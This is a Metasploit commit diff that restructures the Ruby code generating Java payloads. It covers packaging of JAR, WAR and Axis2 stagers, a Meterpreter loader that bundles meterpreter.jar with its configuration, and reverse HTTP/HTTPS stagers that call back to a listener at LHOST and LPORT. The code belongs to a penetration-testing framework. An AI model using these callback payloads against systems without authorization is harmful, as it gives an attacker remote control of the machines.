Skip to content

Commit beca636

Browse files
committed
Revamp of java payload structure
1 parent e8d7a07 commit beca636

File tree

11 files changed

+315
-199
lines changed

11 files changed

+315
-199
lines changed

lib/msf/core/payload/java.rb

Lines changed: 29 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
module Msf::Payload::Java
55

66
#
7-
# Used by stages; all java stages need to define +@stage_class_files+ as an
7+
# Used by stages; all java stages need to define +stage_class_files+ as an
88
# array of .class files located in data/java/
99
#
1010
# The staging protocol expects any number of class files, each prepended
@@ -15,8 +15,12 @@ module Msf::Payload::Java
1515
# [ 32-bit null ]
1616
#
1717
def generate_stage(opts={})
18+
generate_default_stage(opts)
19+
end
20+
21+
def generate_default_stage(opts={})
1822
stage = ''
19-
@stage_class_files.each do |path|
23+
stage_class_files.each do |path|
2024
data = MetasploitPayloads.read('java', path)
2125
stage << [data.length, data].pack('NA*')
2226
end
@@ -34,28 +38,27 @@ def generate(opts={})
3438

3539
#
3640
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
37-
# define a list of class files in @class_files which are pulled from the
38-
# MetasploitPayloads gem. The configuration file is created by
39-
# the payload's #config method.
41+
# define a list of class files from the class_files method. The
42+
# configuration file is created by the payload's #stager_config method.
4043
#
4144
# @option opts :main_class [String] the name of the Main-Class
4245
# attribute in the manifest. Defaults to "metasploit.Payload"
4346
# @option opts :random [Boolean] Set to `true` to randomize the
4447
# "metasploit" package name.
4548
# @return [Rex::Zip::Jar]
4649
def generate_jar(opts={})
47-
raise if not respond_to? :config
50+
raise if not respond_to? :stager_config
4851
# Allow changing the jar's Main Class in the manifest so wrappers
4952
# around metasploit.Payload will work.
5053
main_class = opts[:main_class] || "metasploit.Payload"
5154

5255
paths = [
5356
[ "metasploit", "Payload.class" ],
54-
] + @class_files
57+
] + class_files
5558

5659
jar = Rex::Zip::Jar.new
5760
jar.add_sub("metasploit") if opts[:random]
58-
jar.add_file("metasploit.dat", config)
61+
jar.add_file("metasploit.dat", stager_config)
5962
jar.add_files(paths, MetasploitPayloads.path('java'))
6063
jar.build_manifest(:main_class => main_class)
6164

@@ -71,7 +74,7 @@ def generate_jar(opts={})
7174
# web.xml. Defaults to random
7275
#
7376
def generate_war(opts={})
74-
raise if not respond_to? :config
77+
raise if not respond_to? :stager_config
7578
zip = Rex::Zip::Jar.new
7679

7780
web_xml = %q{<?xml version="1.0"?>
@@ -96,27 +99,26 @@ def generate_war(opts={})
9699
paths = [
97100
[ "metasploit", "Payload.class" ],
98101
[ "metasploit", "PayloadServlet.class" ],
99-
] + @class_files
102+
] + class_files
100103

101104
zip.add_file('WEB-INF/', '')
102105
zip.add_file('WEB-INF/web.xml', web_xml)
103106
zip.add_file("WEB-INF/classes/", "")
104107
zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/')
105-
zip.add_file("WEB-INF/classes/metasploit.dat", config)
108+
zip.add_file("WEB-INF/classes/metasploit.dat", stager_config)
106109

107110
zip
108111
end
109112

110113
#
111114
# Used by stagers to create a axis2 webservice file as a {Rex::Zip::Jar}.
112-
# Stagers define a list of class files in @class_files which are pulled
113-
# from the MetasploitPayloads gem. The configuration file is created by
114-
# the payload's #config method.
115+
# Stagers define a list of class files returned via class_files. The
116+
# configuration file is created by the payload's #stager_config method.
115117
#
116118
# @option :app_name [String] Name of the Service in services.xml. Defaults to random.
117119
# @return [Rex::Zip::Jar]
118120
def generate_axis2(opts={})
119-
raise if not respond_to? :config
121+
raise if not respond_to? :stager_config
120122

121123
app_name = opts[:app_name] || Rex::Text.rand_text_alpha_lower(rand(8)+8)
122124

@@ -132,16 +134,26 @@ def generate_axis2(opts={})
132134
paths = [
133135
[ 'metasploit', 'Payload.class' ],
134136
[ 'metasploit', 'PayloadServlet.class' ]
135-
] + @class_files
137+
] + class_files
136138

137139
zip = Rex::Zip::Jar.new
138140
zip.add_file('META-INF/', '')
139141
zip.add_file('META-INF/services.xml', services_xml)
140142
zip.add_files(paths, MetasploitPayloads.path('java'))
141-
zip.add_file('metasploit.dat', config)
143+
zip.add_file('metasploit.dat', stager_config)
142144
zip.build_manifest(:app_name => app_name)
143145

144146
zip
145147
end
146148

149+
# Default to no extra class files
150+
def class_files
151+
[]
152+
end
153+
154+
# Default to no extra stage class files
155+
def stage_class_files
156+
[]
157+
end
158+
147159
end
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/base/sessions/meterpreter_options'
5+
require 'msf/core/payload/uuid/options'
6+
7+
module Msf
8+
9+
###
10+
#
11+
# Common module stub for Java payloads that make use of Meterpreter.
12+
#
13+
###
14+
15+
module Payload::Java::MeterpreterLoader
16+
17+
include Msf::Payload::Java
18+
include Msf::Payload::UUID::Options
19+
include Msf::Sessions::MeterpreterOptions
20+
21+
def initialize(info = {})
22+
super(update_info(info,
23+
'Name' => 'Meterpreter & Configuration',
24+
'Description' => 'Java-specific meterpreter generation',
25+
'Author' => ['OJ Reeves'],
26+
'Platform' => 'java',
27+
'Arch' => ARCH_JAVA,
28+
'PayloadCompat' => {'Convention' => 'http'},
29+
'Stage' => {'Payload' => ''}
30+
))
31+
end
32+
33+
def stage_payload(opts={})
34+
stage_meterpreter(opts)
35+
end
36+
37+
#
38+
# Override the Payload::Java version so we can load a prebuilt jar to be
39+
# used as the final stage; calls super to get the intermediate stager.
40+
#
41+
def stage_meterpreter(opts={})
42+
met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar')
43+
config = generate_config(opts)
44+
45+
# All of the dependencies to create a jar loader, followed by the length
46+
# of the jar and the jar itself, then the config
47+
blocks = [
48+
generate_default_stage(opts),
49+
[met.length, met].pack('NA*'),
50+
[config.length, config].pack('NA*')
51+
]
52+
53+
# Deliberate off by 1 here. The call to super adds a null terminator
54+
# so we would add 1 for the null terminate and remove one for the call
55+
# to super.
56+
block_count = blocks.length + stage_class_files.length
57+
58+
# Pack all the magic together
59+
(blocks + [block_count]).pack('A*' * blocks.length + 'N')
60+
end
61+
62+
def generate_config(opts={})
63+
opts[:uuid] ||= generate_payload_uuid
64+
ds = opts[:datastore] || datastore
65+
66+
# create the configuration block, which for staged connections is really simple.
67+
config_opts = {
68+
ascii_str: true,
69+
arch: opts[:uuid].arch,
70+
expiration: ds['SessionExpirationTimeout'].to_i,
71+
uuid: opts[:uuid],
72+
transports: opts[:transport_config] || [transport_config(opts)]
73+
}
74+
75+
# create the configuration instance based off the parameters
76+
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
77+
78+
# return the binary version of it
79+
config.to_b
80+
end
81+
82+
def stage_class_files
83+
# Order matters. Classes can only reference classes that have already
84+
# been sent. The last .class must implement Stage, i.e. have a start()
85+
# method.
86+
#
87+
# The Meterpreter.class stage is just a jar loader, not really anything
88+
# to do with meterpreter specifically. This payload should eventually
89+
# be replaced with an actual meterpreter stage so we don't have to send
90+
# a second jar.
91+
[
92+
[ "javapayload", "stage", "Stage.class" ],
93+
[ "com", "metasploit", "meterpreter", "MemoryBufferURLConnection.class" ],
94+
[ "com", "metasploit", "meterpreter", "MemoryBufferURLStreamHandler.class" ],
95+
# Must be last!
96+
[ "javapayload", "stage", "Meterpreter.class" ],
97+
]
98+
end
99+
100+
end
101+
end
102+
Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/transport_config'
5+
require 'msf/core/payload/uuid/options'
6+
7+
module Msf
8+
9+
###
10+
#
11+
# Complex payload generation for Java that speaks HTTP(S)
12+
#
13+
###
14+
15+
module Payload::Java::ReverseHttp
16+
17+
include Msf::Payload::TransportConfig
18+
include Msf::Payload::Java
19+
include Msf::Payload::UUID::Options
20+
21+
#
22+
# Register Java reverse_http specific options
23+
#
24+
def initialize(*args)
25+
super
26+
register_advanced_options([
27+
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
28+
])
29+
end
30+
31+
#
32+
# Generate the transport-specific configuration
33+
#
34+
def transport_config(opts={})
35+
transport_config_reverse_http(opts)
36+
end
37+
38+
#
39+
# Generate the URI for the initial stager
40+
#
41+
def generate_uri(opts={})
42+
ds = opts[:datastore] || datastore
43+
uri_req_len = ds['StagerURILength'].to_i
44+
45+
# Choose a random URI length between 30 and 255 bytes
46+
if uri_req_len == 0
47+
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
48+
end
49+
50+
if uri_req_len < 5
51+
raise ArgumentError, "Minimum StagerURILength is 5"
52+
end
53+
54+
generate_uri_uuid_mode(:init_java, uri_req_len)
55+
end
56+
57+
#
58+
# Generate the URI for the initial stager
59+
#
60+
def generate_small_uri
61+
generate_uri_uuid_mode(:init_java, 5)
62+
end
63+
64+
#
65+
# Generate configuration that is to be included in the stager.
66+
#
67+
def stager_config(opts={})
68+
uri = generate_uri(opts)
69+
ds = opts[:datastore] || datastore
70+
71+
c = ''
72+
c << "Spawn=#{ds["Spawn"] || 2}\n"
73+
c << "URL=#{scheme}://#{ds['LHOST']}"
74+
c << ":#{ds['LPORT']}" if ds['LPORT']
75+
c << luri
76+
c << uri
77+
c << "\n"
78+
79+
c
80+
end
81+
82+
#
83+
# Scheme defaults to http
84+
#
85+
def scheme
86+
'http'
87+
end
88+
89+
#
90+
# Always wait at least 20 seconds for this payload (due to staging delays)
91+
#
92+
def wfs_delay
93+
20
94+
end
95+
96+
end
97+
98+
end
99+
100+
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/java/reverse_http'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Complex payload generation for Java that speaks HTTPS
11+
#
12+
###
13+
14+
module Payload::Java::ReverseHttps
15+
16+
include Msf::Payload::Java::ReverseHttp
17+
18+
#
19+
# Generate the transport-specific configuration
20+
#
21+
def transport_config(opts={})
22+
transport_config_reverse_https(opts)
23+
end
24+
25+
#
26+
# Override the scheme so that it has https instead of http
27+
#
28+
def scheme
29+
'https'
30+
end
31+
32+
#
33+
# Override class_files to include the trust manager
34+
#
35+
def class_files
36+
[
37+
["metasploit", "PayloadTrustManager.class"]
38+
]
39+
end
40+
end
41+
end

lib/msf/core/payload/python/meterpreter_loader.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ module Msf
1414

1515
module Payload::Python::MeterpreterLoader
1616

17+
include Msf::Payload::Python
1718
include Msf::Payload::UUID::Options
1819
include Msf::Sessions::MeterpreterOptions
1920

lib/msf/core/payload/stager.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,10 @@ def offsets
8989
#
9090
# @return [String,nil]
9191
def stage_payload(opts = {})
92-
return module_info['Stage']['Payload']
92+
if module_info['Stage']
93+
return module_info['Stage']['Payload']
94+
end
95+
nil
9396
end
9497

9598
#

0 commit comments

Comments
 (0)